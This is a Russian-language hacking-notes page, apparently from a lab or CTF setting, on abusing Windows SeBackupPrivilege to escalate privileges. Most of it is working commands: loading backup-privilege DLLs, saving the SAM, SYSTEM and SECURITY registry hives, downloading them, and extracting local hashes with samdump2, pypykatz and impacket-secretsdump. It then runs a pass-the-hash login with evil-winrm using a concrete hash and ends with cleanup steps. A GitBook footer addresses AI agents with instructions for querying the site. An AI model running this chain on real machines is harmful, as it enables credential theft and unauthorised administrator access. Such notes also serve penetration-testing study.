> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/windows-vulnerabilities/token-privileges/sebackupprivilege-windows-privilege-escalation.md).

# SeBackupPrivilege

`SeBackupPrivilege` позволяет читать защищённые файлы в контексте резервного копирования. В лабораторной среде это привилегия может быть использована для копирования `SAM` и `SYSTEM`, а затем извлечь хэши локальных учётных записей офлайн.

## Обнаружение

```powershell
whoami /priv
```

<figure><img src="/files/1b61ffc54fbc4e1cdfe30238caa7d4fd175bf406" alt="SeBackupPrivilege shown in whoami /priv"><figcaption></figcaption></figure>

## Загрузите модули

{% embed url="<https://github.com/giuliano108/SeBackupPrivilege>" %}

```powershell
загрузить SeBackupPrivilegeCmdLets.dll
загрузить SeBackupPrivilegeUtils.dll
Import-Module ./SeBackupPrivilegeCmdLets.dll
Import-Module ./SeBackupPrivilegeUtils.dll
```

<figure><img src="/files/86820621be9723ed4d91e5d71c6233032f99cf0c" alt="SeBackupPrivilege modules loaded"><figcaption></figcaption></figure>

## Экспортировать SAM и SYSTEM

```cmd
reg save HKLM\SAM sam
reg save HKLM\SYSTEM system
```

<figure><img src="/files/7435e1bbeae0a4414b32ca38a9154ab7dd8f6895" alt="Exporting SAM and SYSTEM registry hives"><figcaption></figcaption></figure>

Скачайте файлы:

```powershell
скачать sam
скачать system
```

<figure><img src="/files/e724876d79e4498aa05f08ffb9357dad13e0dc66" alt="Downloading exported registry hives"><figcaption></figcaption></figure>

## Извлечение хэшей

```bash
samdump2 system sam
```

<figure><img src="/files/041fc5866c7d3c9bc0be4a911ea22309143933e5" alt="Hash extraction with samdump2"><figcaption></figcaption></figure>

Альтернатива:

```bash
pypykatz registry system --sam sam
```

<figure><img src="/files/645b7db11ac22e5f63fe8ac7bf9933e6704e9a2b" alt="Hash extraction with pypykatz"><figcaption></figcaption></figure>

## Проверка с помощью Pass-the-Hash

```bash
evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
```

<figure><img src="/files/548abdc9f629a7af81b39e69b7fb9d4f522939a9" alt="Pass-the-Hash validation with Evil-WinRM"><figcaption></figcaption></figure>

## Ключевые моменты

* `SeBackupPrivilege` это чувствительно даже без прямого членства в локальной группе администраторов.
* Экспорт `SECURITY` тоже, когда вам нужны секреты LSA или кэшированные данные домена.
* Следите за экспортом кустов реестра и доступом к защищённым системным файлам.

## Извлечение с помощью Impacket

Impacket может анализировать сохранённые кусты офлайн:

```cmd
reg save HKLM\SAM C:\Windows\Temp\sam.save
reg save HKLM\SYSTEM C:\Windows\Temp\system.save
reg save HKLM\SECURITY C:\Windows\Temp\security.save
```

```bash
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
```

## Очистка

```cmd
del C:\Windows\Temp\sam.save
del C:\Windows\Temp\system.save
del C:\Windows\Temp\security.save
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/windows-vulnerabilities/token-privileges/sebackupprivilege-windows-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
